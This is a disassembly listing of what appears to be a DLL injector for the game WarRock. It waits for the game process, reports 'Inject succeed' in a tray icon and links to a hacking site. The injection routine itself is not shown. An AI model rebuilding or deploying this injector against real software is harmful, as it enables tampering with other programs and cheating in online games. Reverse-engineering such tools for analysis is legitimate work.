.text:00401B92                 push    offset FileName
.text:00401B97                 call    _strrchr
.text:00401B9C                 add     esp, 8
.text:00401B9F                 mov     dword_407A74, eax
.text:00401BA4                 retn
.text:00401BA4 ; ---------------------------------------------------------------------------
.text:00401BA5                 align 10h
.text:00401BB0
.text:00401BB0 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401BB0
.text:00401BB0
.text:00401BB0 ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
.text:00401BB0 _WinMain@16     proc near               ; CODE XREF: start+DBp
.text:00401BB0
.text:00401BB0 hInstance       = dword ptr  4
.text:00401BB0 hPrevInstance   = dword ptr  8
.text:00401BB0 lpCmdLine       = dword ptr  0Ch
.text:00401BB0 nShowCmd        = dword ptr  10h
.text:00401BB0
.text:00401BB0                 push    offset Name     ; "Laser"
.text:00401BB5                 push    1               ; bInitialOwner
.text:00401BB7                 push    0               ; lpMutexAttributes
.text:00401BB9                 call    ds:CreateMutexA
.text:00401BBF                 call    ds:GetLastError
.text:00401BC5                 test    eax, eax
.text:00401BC7                 jz      short loc_401BE2
.text:00401BC9                 push    40h             ; uType
.text:00401BCB                 push    offset Caption  ; "Info"
.text:00401BD0                 push    offset Text     ; "Program are running now!"
.text:00401BD5                 push    0               ; hWnd
.text:00401BD7                 call    ds:MessageBoxA
.text:00401BDD                 xor     eax, eax
.text:00401BDF                 retn    10h
.text:00401BE2 ; ---------------------------------------------------------------------------
.text:00401BE2
.text:00401BE2 loc_401BE2:                             ; CODE XREF: WinMain(x,x,x,x)+17j
.text:00401BE2                 push    4
.text:00401BE4                 call    ??2@YAPAXI@Z    ; operator new(uint)
.text:00401BE9                 add     esp, 4
.text:00401BEC                 push    eax             ; lpThreadId
.text:00401BED                 push    0               ; dwCreationFlags
.text:00401BEF                 push    0               ; lpParameter
.text:00401BF1                 push    offset StartAddress ; lpStartAddress
.text:00401BF6                 push    0               ; dwStackSize
.text:00401BF8                 push    0               ; lpThreadAttributes
.text:00401BFA                 call    ds:CreateThread
.text:00401C00                 push    0               ; dwInitParam
.text:00401C02                 push    offset DialogFunc ; lpDialogFunc
.text:00401C07                 mov     eax, [esp+8+hInstance]
.text:00401C0B                 push    0               ; hWndParent
.text:00401C0D                 push    65h             ; lpTemplateName
.text:00401C0F                 push    eax             ; hInstance
.text:00401C10                 mov     hInstance, eax
.text:00401C15                 call    ds:DialogBoxParamA ; Create a modal dialog box from a
.text:00401C15                                         ; dialog box template resource
.text:00401C1B                 xor     eax, eax
.text:00401C1D                 retn    10h
.text:00401C1D _WinMain@16     endp
.text:00401C1D
.text:00401C20
.text:00401C20 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401C20
.text:00401C20
.text:00401C20 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401C20 StartAddress    proc near               ; DATA XREF: WinMain(x,x,x,x)+41o
.text:00401C20
.text:00401C20 Text            = byte ptr -340h
.text:00401C20 FindFileData    = _WIN32_FIND_DATAA ptr -140h
.text:00401C20
.text:00401C20                 sub     esp, 340h
.text:00401C26                 push    ebx
.text:00401C27                 push    ebp
.text:00401C28                 push    esi
.text:00401C29                 push    edi
.text:00401C2A                 push    104h            ; nSize
.text:00401C2F                 push    offset FileName ; lpFilename
.text:00401C34                 push    0               ; hModule
.text:00401C36                 call    ds:GetModuleFileNameA
.text:00401C3C                 mov     edi, offset FileName
.text:00401C41                 or      ecx, 0FFFFFFFFh
.text:00401C44                 xor     eax, eax
.text:00401C46                 repne scasb
.text:00401C48                 not     ecx
.text:00401C4A                 mov     eax, offset FileName
.text:00401C4F                 dec     ecx
.text:00401C50                 sub     eax, 3
.text:00401C53                 mov     edi, offset aDll ; "dll"
.text:00401C58                 mov     byte ptr [ecx+eax], 0
.text:00401C5C                 or      ecx, 0FFFFFFFFh
.text:00401C5F                 xor     eax, eax
.text:00401C61                 repne scasb
.text:00401C63                 not     ecx
.text:00401C65                 sub     edi, ecx
.text:00401C67                 mov     esi, edi
.text:00401C69                 mov     edx, ecx
.text:00401C6B                 mov     edi, offset FileName
.text:00401C70                 or      ecx, 0FFFFFFFFh
.text:00401C73                 repne scasb
.text:00401C75                 mov     ecx, edx
.text:00401C77                 dec     edi
.text:00401C78                 shr     ecx, 2
.text:00401C7B                 rep movsd
.text:00401C7D                 mov     ecx, edx
.text:00401C7F                 lea     eax, [esp+350h+FindFileData]
.text:00401C86                 and     ecx, 3
.text:00401C89                 push    eax             ; lpFindFileData
.text:00401C8A                 rep movsb
.text:00401C8C                 push    offset FileName ; lpFileName
.text:00401C91                 call    ds:FindFirstFileA
.text:00401C97                 cmp     eax, 0FFFFFFFFh
.text:00401C9A                 jnz     loc_401D46
.text:00401CA0                 or      ecx, eax
.text:00401CA2                 mov     edi, offset aFile ; "File "
.text:00401CA7                 xor     eax, eax
.text:00401CA9                 lea     edx, [esp+350h+Text]
.text:00401CAD                 repne scasb
.text:00401CAF                 not     ecx
.text:00401CB1                 sub     edi, ecx
.text:00401CB3                 push    10h             ; uType
.text:00401CB5                 mov     eax, ecx
.text:00401CB7                 mov     esi, edi
.text:00401CB9                 mov     edi, edx
.text:00401CBB                 lea     edx, [esp+354h+Text]
.text:00401CBF                 shr     ecx, 2
.text:00401CC2                 rep movsd
.text:00401CC4                 mov     ecx, eax
.text:00401CC6                 xor     eax, eax
.text:00401CC8                 and     ecx, 3
.text:00401CCB                 push    offset aError   ; "Error"
.text:00401CD0                 rep movsb
.text:00401CD2                 mov     edi, offset FileName
.text:00401CD7                 or      ecx, 0FFFFFFFFh
.text:00401CDA                 repne scasb
.text:00401CDC                 not     ecx
.text:00401CDE                 sub     edi, ecx
.text:00401CE0                 mov     esi, edi
.text:00401CE2                 mov     ebx, ecx
.text:00401CE4                 mov     edi, edx
.text:00401CE6                 or      ecx, 0FFFFFFFFh
.text:00401CE9                 repne scasb
.text:00401CEB                 mov     ecx, ebx
.text:00401CED                 dec     edi
.text:00401CEE                 shr     ecx, 2
.text:00401CF1                 rep movsd
.text:00401CF3                 mov     ecx, ebx
.text:00401CF5                 lea     edx, [esp+358h+Text]
.text:00401CF9                 and     ecx, 3
.text:00401CFC                 rep movsb
.text:00401CFE                 mov     edi, offset aNotExist ; " not exist!"
.text:00401D03                 or      ecx, 0FFFFFFFFh
.text:00401D06                 repne scasb
.text:00401D08                 not     ecx
.text:00401D0A                 sub     edi, ecx
.text:00401D0C                 mov     esi, edi
.text:00401D0E                 mov     ebx, ecx
.text:00401D10                 mov     edi, edx
.text:00401D12                 or      ecx, 0FFFFFFFFh
.text:00401D15                 repne scasb
.text:00401D17                 mov     ecx, ebx
.text:00401D19                 dec     edi
.text:00401D1A                 shr     ecx, 2
.text:00401D1D                 rep movsd
.text:00401D1F                 mov     ecx, ebx
.text:00401D21                 lea     eax, [esp+358h+Text]
.text:00401D25                 and     ecx, 3
.text:00401D28                 push    eax             ; lpText
.text:00401D29                 rep movsb
.text:00401D2B                 push    0               ; hWnd
.text:00401D2D                 call    ds:MessageBoxA
.text:00401D33                 mov     ecx, hWnd
.text:00401D39                 push    0               ; lParam
.text:00401D3B                 push    0               ; wParam
.text:00401D3D                 push    10h             ; Msg
.text:00401D3F                 push    ecx             ; hWnd
.text:00401D40                 call    ds:PostMessageA
.text:00401D46
.text:00401D46 loc_401D46:                             ; CODE XREF: StartAddress+7Aj
.text:00401D46                 mov     ebp, ds:Shell_NotifyIconA ; Send a message to the system to add,
.text:00401D46                                         ; modify, or delete an icon from the
.text:00401D46                                         ; taskbar status area
.text:00401D4C                 mov     ebx, ds:Sleep
.text:00401D52
.text:00401D52 loc_401D52:                             ; CODE XREF: StartAddress+208j
.text:00401D52                 push    offset FileName
.text:00401D57                 push    offset aWarrock_exe ; "WarRock.exe"
.text:00401D5C                 call    sub_4014B0
.text:00401D61                 add     esp, 8
.text:00401D64                 cmp     al, 1
.text:00401D66                 jnz     short loc_401DB0
.text:00401D68                 mov     dwMilliseconds, 7D0h
.text:00401D72                 mov     esi, offset aInjectSucceedR ; "Inject succeed, running...!!!"
.text:00401D77                 mov     eax, offset Data.szTip
.text:00401D7C
.text:00401D7C loc_401D7C:                             ; CODE XREF: StartAddress+17Aj
.text:00401D7C                 mov     dl, [eax]
.text:00401D7E                 mov     cl, dl
.text:00401D80                 cmp     dl, [esi]
.text:00401D82                 jnz     short loc_401DA0
.text:00401D84                 test    cl, cl
.text:00401D86                 jz      short loc_401D9C
.text:00401D88                 mov     dl, [eax+1]
.text:00401D8B                 mov     cl, dl
.text:00401D8D                 cmp     dl, [esi+1]
.text:00401D90                 jnz     short loc_401DA0
.text:00401D92                 add     eax, 2
.text:00401D95                 add     esi, 2
.text:00401D98                 test    cl, cl
.text:00401D9A                 jnz     short loc_401D7C
.text:00401D9C
.text:00401D9C loc_401D9C:                             ; CODE XREF: StartAddress+166j
.text:00401D9C                 xor     eax, eax
.text:00401D9E                 jmp     short loc_401DA5
.text:00401DA0 ; ---------------------------------------------------------------------------
.text:00401DA0
.text:00401DA0 loc_401DA0:                             ; CODE XREF: StartAddress+162j
.text:00401DA0                                         ; StartAddress+170j
.text:00401DA0                 sbb     eax, eax
.text:00401DA2                 sbb     eax, 0FFFFFFFFh
.text:00401DA5
.text:00401DA5 loc_401DA5:                             ; CODE XREF: StartAddress+17Ej
.text:00401DA5                 test    eax, eax
.text:00401DA7                 jz      short loc_401E1F
.text:00401DA9                 mov     edi, offset aInjectSucceedR ; "Inject succeed, running...!!!"
.text:00401DAE                 jmp     short loc_401DF6
.text:00401DB0 ; ---------------------------------------------------------------------------
.text:00401DB0
.text:00401DB0 loc_401DB0:                             ; CODE XREF: StartAddress+146j
.text:00401DB0                 mov     dwMilliseconds, 0Ah
.text:00401DBA                 mov     esi, offset aWaitingForTarg ; "Waiting for target process...!!!"
.text:00401DBF                 mov     eax, offset Data.szTip
.text:00401DC4
.text:00401DC4 loc_401DC4:                             ; CODE XREF: StartAddress+1C2j
.text:00401DC4                 mov     dl, [eax]
.text:00401DC6                 mov     cl, dl
.text:00401DC8                 cmp     dl, [esi]
.text:00401DCA                 jnz     short loc_401DE8
.text:00401DCC                 test    cl, cl
.text:00401DCE                 jz      short loc_401DE4
.text:00401DD0                 mov     dl, [eax+1]
.text:00401DD3                 mov     cl, dl
.text:00401DD5                 cmp     dl, [esi+1]
.text:00401DD8                 jnz     short loc_401DE8
.text:00401DDA                 add     eax, 2
.text:00401DDD                 add     esi, 2
.text:00401DE0                 test    cl, cl
.text:00401DE2                 jnz     short loc_401DC4
.text:00401DE4
.text:00401DE4 loc_401DE4:                             ; CODE XREF: StartAddress+1AEj
.text:00401DE4                 xor     eax, eax
.text:00401DE6                 jmp     short loc_401DED
.text:00401DE8 ; ---------------------------------------------------------------------------
.text:00401DE8
.text:00401DE8 loc_401DE8:                             ; CODE XREF: StartAddress+1AAj
.text:00401DE8                                         ; StartAddress+1B8j
.text:00401DE8                 sbb     eax, eax
.text:00401DEA                 sbb     eax, 0FFFFFFFFh
.text:00401DED
.text:00401DED loc_401DED:                             ; CODE XREF: StartAddress+1C6j
.text:00401DED                 test    eax, eax
.text:00401DEF                 jz      short loc_401E1F
.text:00401DF1                 mov     edi, offset aWaitingForTarg ; "Waiting for target process...!!!"
.text:00401DF6
.text:00401DF6 loc_401DF6:                             ; CODE XREF: StartAddress+18Ej
.text:00401DF6                 or      ecx, 0FFFFFFFFh
.text:00401DF9                 xor     eax, eax
.text:00401DFB                 repne scasb
.text:00401DFD                 not     ecx
.text:00401DFF                 sub     edi, ecx
.text:00401E01                 push    offset Data     ; lpData
.text:00401E06                 mov     eax, ecx
.text:00401E08                 mov     esi, edi
.text:00401E0A                 mov     edi, offset Data.szTip
.text:00401E0F                 push    1               ; dwMessage
.text:00401E11                 shr     ecx, 2
.text:00401E14                 rep movsd
.text:00401E16                 mov     ecx, eax
.text:00401E18                 and     ecx, 3
.text:00401E1B                 rep movsb
.text:00401E1D                 call    ebp ; Shell_NotifyIconA ; Send a message to the system to add,
.text:00401E1D                                         ; modify, or delete an icon from the
.text:00401E1D                                         ; taskbar status area
.text:00401E1F
.text:00401E1F loc_401E1F:                             ; CODE XREF: StartAddress+187j
.text:00401E1F                                         ; StartAddress+1CFj
.text:00401E1F                 mov     ecx, dwMilliseconds
.text:00401E25                 push    ecx             ; dwMilliseconds
.text:00401E26                 call    ebx ; Sleep
.text:00401E28                 jmp     loc_401D52
.text:00401E28 StartAddress    endp
.text:00401E28
.text:00401E28 ; ---------------------------------------------------------------------------
.text:00401E2D                 align 10h
.text:00401E30
.text:00401E30 ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:00401E30
.text:00401E30
.text:00401E30 ; BOOL __stdcall DialogFunc(HWND,UINT,WPARAM,LPARAM)
.text:00401E30 DialogFunc      proc near               ; DATA XREF: WinMain(x,x,x,x)+52o
.text:00401E30
.text:00401E30 Rect            = tagRECT ptr -10h
.text:00401E30 hWnd            = dword ptr  4
.text:00401E30 arg_4           = dword ptr  8
.text:00401E30 arg_8           = dword ptr  0Ch
.text:00401E30 arg_C           = dword ptr  10h
.text:00401E30
.text:00401E30                 mov     eax, [esp+arg_4]
.text:00401E34                 sub     esp, 10h
.text:00401E37                 cmp     eax, 111h
.text:00401E3C                 push    esi
.text:00401E3D                 ja      loc_401FB9
.text:00401E43                 jz      loc_401F8D
.text:00401E49                 cmp     eax, 10h
.text:00401E4C                 jz      loc_401F62
.text:00401E52                 cmp     eax, 110h
.text:00401E57                 jnz     loc_401F59
.text:00401E5D                 push    ebx
.text:00401E5E                 mov     ebx, [esp+18h+hWnd]
.text:00401E62                 lea     eax, [esp+18h+Rect]
.text:00401E66                 push    edi
.text:00401E67                 push    eax             ; lpRect
.text:00401E68                 push    ebx             ; hWnd
.text:00401E69                 mov     hWnd, ebx
.text:00401E6F                 call    ds:GetWindowRect
.text:00401E75                 mov     esi, [esp+1Ch+Rect.left]
.text:00401E79                 push    1               ; bRepaint
.text:00401E7B                 mov     ecx, [esp+20h+Rect.bottom]
.text:00401E7F                 mov     eax, [esp+20h+Rect.top]
.text:00401E83                 mov     edx, [esp+20h+Rect.right]
.text:00401E87                 sub     ecx, eax
.text:00401E89                 sub     edx, esi
.text:00401E8B                 mov     esi, ds:GetSystemMetrics
.text:00401E91                 push    ecx             ; nHeight
.text:00401E92                 push    edx             ; nWidth
.text:00401E93                 push    1               ; nIndex
.text:00401E95                 call    esi ; GetSystemMetrics
.text:00401E97                 mov     edi, [esp+28h+Rect.bottom]
.text:00401E9B                 mov     ecx, [esp+28h+Rect.top]
.text:00401E9F                 sub     ecx, edi
.text:00401EA1                 add     eax, ecx
.text:00401EA3                 cdq
.text:00401EA4                 sub     eax, edx
.text:00401EA6                 sar     eax, 1
.text:00401EA8                 push    eax             ; Y
.text:00401EA9                 push    0               ; nIndex
.text:00401EAB                 call    esi ; GetSystemMetrics
.text:00401EAD                 mov     edx, [esp+2Ch+Rect.left]
.text:00401EB1                 mov     ecx, [esp+2Ch+Rect.right]
.text:00401EB5                 sub     edx, ecx
.text:00401EB7                 add     eax, edx
.text:00401EB9                 cdq
.text:00401EBA                 sub     eax, edx
.text:00401EBC                 sar     eax, 1
.text:00401EBE                 push    eax             ; X
.text:00401EBF                 push    ebx             ; hWnd
.text:00401EC0                 call    ds:MoveWindow
.text:00401EC6                 mov     eax, hInstance
.text:00401ECB                 push    67h             ; lpIconName
.text:00401ECD                 push    eax             ; hInstance
.text:00401ECE                 call    ds:LoadIconA
.text:00401ED4                 mov     edi, ds:SendMessageA
.text:00401EDA                 mov     esi, eax
.text:00401EDC                 push    esi             ; lParam
.text:00401EDD                 push    1               ; wParam
.text:00401EDF                 push    80h             ; Msg
.text:00401EE4                 push    ebx             ; hWnd
.text:00401EE5                 call    edi ; SendMessageA
.text:00401EE7                 push    esi             ; lParam
.text:00401EE8                 push    0               ; wParam
.text:00401EEA                 push    80h             ; Msg
.text:00401EEF                 push    ebx             ; hWnd
.text:00401EF0                 call    edi ; SendMessageA
.text:00401EF2                 mov     edi, offset unk_407BE0
.text:00401EF7                 or      ecx, 0FFFFFFFFh
.text:00401EFA                 xor     eax, eax
.text:00401EFC                 mov     Data.hIcon, esi
.text:00401F02                 repne scasb
.text:00401F04                 not     ecx
.text:00401F06                 sub     edi, ecx
.text:00401F08                 mov     Data.cbSize, 58h
.text:00401F12                 mov     edx, ecx
.text:00401F14                 mov     esi, edi
.text:00401F16                 mov     edi, offset Data.szTip
.text:00401F1B                 mov     Data.uCallbackMessage, 401h
.text:00401F25                 shr     ecx, 2
.text:00401F28                 mov     Data.uFlags, 7
.text:00401F32                 mov     Data.uID, 1
.text:00401F3C                 rep movsd
.text:00401F3E                 mov     ecx, edx
.text:00401F40                 push    offset Data     ; lpData
.text:00401F45                 and     ecx, 3
.text:00401F48                 push    eax             ; dwMessage
.text:00401F49                 rep movsb
.text:00401F4B                 mov     Data.hWnd, ebx
.text:00401F51                 call    ds:Shell_NotifyIconA ; Send a message to the system to add,
.text:00401F51                                         ; modify, or delete an icon from the
.text:00401F51                                         ; taskbar status area
.text:00401F57                 pop     edi
.text:00401F58                 pop     ebx
.text:00401F59
.text:00401F59 loc_401F59:                             ; CODE XREF: DialogFunc+27j
.text:00401F59                                         ; DialogFunc+163j ...
.text:00401F59                 xor     eax, eax
.text:00401F5B                 pop     esi
.text:00401F5C                 add     esp, 10h
.text:00401F5F                 retn    10h
.text:00401F62 ; ---------------------------------------------------------------------------
.text:00401F62
.text:00401F62 loc_401F62:                             ; CODE XREF: DialogFunc+1Cj
.text:00401F62                 push    offset Data     ; lpData
.text:00401F67                 push    2               ; dwMessage
.text:00401F69                 call    ds:Shell_NotifyIconA ; Send a message to the system to add,
.text:00401F69                                         ; modify, or delete an icon from the
.text:00401F69                                         ; taskbar status area
.text:00401F6F                 mov     eax, [esp+14h+arg_8]
.text:00401F73                 mov     ecx, [esp+14h+hWnd]
.text:00401F77                 and     eax, 0FFFFh
.text:00401F7C                 push    eax             ; nResult
.text:00401F7D                 push    ecx             ; hDlg
.text:00401F7E                 call    ds:EndDialog
.text:00401F84                 xor     eax, eax
.text:00401F86                 pop     esi
.text:00401F87                 add     esp, 10h
.text:00401F8A                 retn    10h
.text:00401F8D ; ---------------------------------------------------------------------------
.text:00401F8D
.text:00401F8D loc_401F8D:                             ; CODE XREF: DialogFunc+13j
.text:00401F8D                 cmp     word ptr [esp+14h+arg_8], 69h
.text:00401F93                 jnz     short loc_401F59
.text:00401F95                 push    3               ; nShowCmd
.text:00401F97                 push    0               ; lpDirectory
.text:00401F99                 push    offset Parameters ; "http://hacktech.nl/"
.text:00401F9E                 push    offset File     ; "explorer"
.text:00401FA3                 push    offset Operation ; "open"
.text:00401FA8                 push    0               ; hwnd
.text:00401FAA                 call    ds:ShellExecuteA ; Opens or prints a specified file
.text:00401FB0                 xor     eax, eax
.text:00401FB2                 pop     esi
.text:00401FB3                 add     esp, 10h
.text:00401FB6                 retn    10h
.text:00401FB9 ; ---------------------------------------------------------------------------
.text:00401FB9
.text:00401FB9 loc_401FB9:                             ; CODE XREF: DialogFunc+Dj
.text:00401FB9                 cmp     eax, 112h
.text:00401FBE                 jz      short loc_402025
.text:00401FC0                 cmp     eax, 401h
.text:00401FC5                 jnz     short loc_401F59
.text:00401FC7                 mov     eax, [esp+14h+arg_C]
.text:00401FCB                 cmp     eax, 201h
.text:00401FD0                 jz      short loc_401FEB
.text:00401FD2                 cmp     eax, 203h
.text:00401FD7                 jz      short loc_401FEB
.text:00401FD9                 cmp     eax, 204h
.text:00401FDE                 jz      short loc_401FEB
.text:00401FE0                 cmp     eax, 206h
.text:00401FE5                 jnz     loc_401F59
.text:00401FEB
.text:00401FEB loc_401FEB:                             ; CODE XREF: DialogFunc+1A0j
.text:00401FEB                                         ; DialogFunc+1A7j ...
.text:00401FEB                 mov     esi, [esp+14h+hWnd]
.text:00401FEF                 push    esi             ; hWnd
.text:00401FF0                 call    ds:IsWindowVisible
.text:00401FF6                 test    eax, eax
.text:00401FF8                 jz      short loc_40200C
.text:00401FFA                 push    0               ; nCmdShow
.text:00401FFC                 push    esi             ; hWnd
.text:00401FFD                 call    ds:ShowWindow
.text:00402003                 xor     eax, eax
.text:00402005                 pop     esi
.text:00402006                 add     esp, 10h
.text:00402009                 retn    10h
.text:0040200C ; ---------------------------------------------------------------------------
.text:0040200C
.text:0040200C loc_40200C:                             ; CODE XREF: DialogFunc+1C8j
.text:0040200C                 push    5               ; nCmdShow
.text:0040200E                 push    esi             ; hWnd
.text:0040200F                 call    ds:ShowWindow
.text:00402015                 push    esi             ; hWnd
.text:00402016                 call    ds:SetForegroundWindow
.text:0040201C                 xor     eax, eax
.text:0040201E                 pop     esi
.text:0040201F                 add     esp, 10h
.text:00402022                 retn    10h
.text:00402025 ; ---------------------------------------------------------------------------
.text:00402025
.text:00402025 loc_402025:                             ; CODE XREF: DialogFunc+18Ej
.text:00402025                 cmp     [esp+14h+arg_8], 0F020h
.text:0040202D                 jnz     loc_401F59
.text:00402033                 mov     edx, [esp+14h+hWnd]
.text:00402037                 push    0               ; nCmdShow
.text:00402039                 push    edx             ; hWnd
.text:0040203A                 call    ds:ShowWindow
.text:00402040                 mov     eax, 1
.text:00402045                 pop     esi
.text:00402046                 add     esp, 10h
.text:00402049                 retn    10h
.text:00402049 DialogFunc      endp
.text:00402049
.text:00402049 ; ---------------------------------------------------------------------------
.text:0040204C                 align 10h
.text:00402050 ; [0000006F BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND]
.text:004020BF ; [000000CB BYTES: COLLAPSED FUNCTION _tolower_0. PRESS KEYPAD "+" TO EXPAND]
.text:0040218A                 align 10h
.text:00402190 ; [00000027 BYTES: COLLAPSED FUNCTION _strrchr. PRESS KEYPAD "+" TO EXPAND]
.text:004021B7 ; [0000000E BYTES: COLLAPSED FUNCTION operator new(uint). PRESS KEYPAD "+" TO EXPAND]
.text:004021C5 ; [000000FD BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
.text:004022C2 ; ---------------------------------------------------------------------------
.text:004022C2                 mov     esp, [ebp-18h]
.text:004022C5                 push    dword ptr [ebp-68h]
.text:004022C8                 call    __exit
.text:004022CD ; [00000025 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND]
.text:004022F2 ; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND]
.text:00402316 ; [00000029 BYTES: COLLAPSED FUNCTION __mtinitlocks. PRESS KEYPAD "+" TO EXPAND]
.text:0040233F ; [00000061 BYTES: COLLAPSED FUNCTION __lock. PRESS KEYPAD "+" TO EXPAND]
.text:004023A0 ; [00000015 BYTES: COLLAPSED FUNCTION __unlock. PRESS KEYPAD "+" TO EXPAND]
.text:004023B5 ; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND]
.text:004025D9 ; [0000002B BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND]
.text:00402604 ; [00000075 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND]
.text:00402679 ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND]
.text:0040268B ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND]
.text:004026B7 ; [0000004E BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND]
.text:00402705 ; [0000002D BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND]
.text:00402732 ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND]
.text:00402743 ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND]
.text:00402754 ; [000000A5 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND]
.text:004027F9 ; [00000009 BYTES: COLLAPSED FUNCTION __lockexit. PRESS KEYPAD "+" TO EXPAND]
.text:00402802 ; [00000009 BYTES: COLLAPSED FUNCTION __unlockexit. PRESS KEYPAD "+" TO EXPAND]
.text:0040280B ; [0000001A BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND]
.text:00402825 ; [0000013E BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND]
.text:00402963 ; [0000003A BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND]
.text:0040299D ; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND]
.text:004029F5 ; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
.text:00402AAE ; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
.text:00402B47 ; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
.text:00402CFB ; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
.text:00402E2D ; [000001BC BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND]
.text:00402FE9 ; [00000054 BYTES: COLLAPSED FUNCTION __mtinit. PRESS KEYPAD "+" TO EXPAND]
.text:0040303D ; [00000013 BYTES: COLLAPSED FUNCTION __initptd. PRESS KEYPAD "+" TO EXPAND]
.text:00403050 ; [00000067 BYTES: COLLAPSED FUNCTION __getptd. PRESS KEYPAD "+" TO EXPAND]
.text:004030B7 ; [0000003C BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND]
.text:004030F3                 align 4
.text:004030F4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND]
.text:00403114 ; ---------------------------------------------------------------------------
.text:00403114
.text:00403114 __unwind_handler:                       ; DATA XREF: __local_unwind2+Ao
.text:00403114                                         ; __abnormal_termination+9o
.text:00403114                 mov     ecx, [esp+4]
.text:00403118                 test    dword ptr [ecx+4], 6
.text:0040311F                 mov     eax, 1
.text:00403124                 jz      short locret_403135
.text:00403126                 mov     eax, [esp+8]
.text:0040312A                 mov     edx, [esp+10h]
.text:0040312E                 mov     [edx], eax
.text:00403130                 mov     eax, 3
.text:00403135
.text:00403135 locret_403135:                          ; CODE XREF: .text:00403124j
.text:00403135                 retn
.text:00403136 ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND]
.text:0040319E ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
.text:004031C1 ; ---------------------------------------------------------------------------
.text:004031C1
.text:004031C1 __NLG_Notify1:
.text:004031C1                 push    ebx
.text:004031C2                 push    ecx
.text:004031C3                 mov     ebx, offset unk_407654
.text:004031C8                 jmp     short loc_4031D4
.text:004031CA ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND]
.text:004031E2                 align 4
.text:004031E4                 push    esi
.text:004031E5                 inc     ebx
.text:004031E6                 xor     dh, [eax]
.text:004031E8                 pop     eax
.text:004031E9                 inc     ebx
.text:004031EA                 xor     [eax], dh
.text:004031EC ; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
.text:004032A9 ; ---------------------------------------------------------------------------
.text:004032A9
.text:004032A9 unknown_libname_2:                      ; Microsoft VisualC 2-8/net runtime
.text:004032A9                 push    ebp
.text:004032AA                 mov     ecx, [esp+8]
.text:004032AE                 mov     ebp, [ecx]
.text:004032B0                 mov     eax, [ecx+1Ch]
.text:004032B3                 push    eax
.text:004032B4                 mov     eax, [ecx+18h]
.text:004032B7                 push    eax
.text:004032B8                 call    __local_unwind2
.text:004032BD                 add     esp, 8
.text:004032C0                 pop     ebp
.text:004032C1                 retn    4
.text:004032C4 ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
.text:004032FD ; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND]
.text:00403450 ; [00000048 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND]
.text:00403498                 align 10h
.text:004034A0 ; [00000084 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND]
.text:00403524                 align 10h
.text:00403530 ; [000000FE BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND]
.text:0040362E                 align 10h
.text:00403630 ; [0000003E BYTES: COLLAPSED FUNCTION _strcspn. PRESS KEYPAD "+" TO EXPAND]
.text:0040366E                 align 10h
.text:00403670 ; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND]
